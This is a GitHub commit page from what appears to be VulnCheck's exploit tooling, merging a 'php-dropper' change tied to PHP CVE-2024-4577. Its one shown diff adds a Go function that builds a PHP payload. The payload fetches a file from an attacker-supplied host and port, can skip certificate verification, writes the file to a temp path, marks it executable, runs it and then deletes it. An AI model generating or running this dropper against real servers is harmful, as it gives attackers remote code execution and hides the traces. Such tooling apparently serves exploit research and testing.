-
Notifications
You must be signed in to change notification settings - Fork 32
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #170 from vulncheck-oss/php-dropper
Updates to improve handling of PHP CVE-2024-4577
- Loading branch information
Showing
9 changed files
with
80 additions
and
11 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
package dropper | ||
|
||
import ( | ||
"fmt" | ||
) | ||
|
||
// Using PHP: download a remote file, write a tmp file, set it to executable, execute it, and delete it. | ||
func (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadFile string) string { | ||
cmd := "<?php " | ||
if ssl { | ||
// download the data over ssl (ignoring cert validation) | ||
cmd += `$options = array("ssl" => array("verify_peer" => false,"verify_peer_name" => false,),);` | ||
cmd += `$context = stream_context_create($options);` | ||
cmd += fmt.Sprintf(`$d = file_get_contents("https://%s:%d/%s", false, $context);`, lhost, lport, downloadFile) | ||
} else { | ||
// download the data | ||
cmd += fmt.Sprintf(`$d = file_get_contents("http://%s:%d/%s");`, lhost, lport, downloadFile) | ||
} | ||
// generate a random file | ||
cmd += `$o=tempnam(sys_get_temp_dir(), "");` | ||
// write the data | ||
cmd += `file_put_contents($o,$d);` | ||
// set the download binary as executable | ||
cmd += `chmod($o, 0755);` | ||
// execute it | ||
cmd += `exec($o);` | ||
// delete it | ||
cmd += `unlink($o); ?>` | ||
|
||
return cmd | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters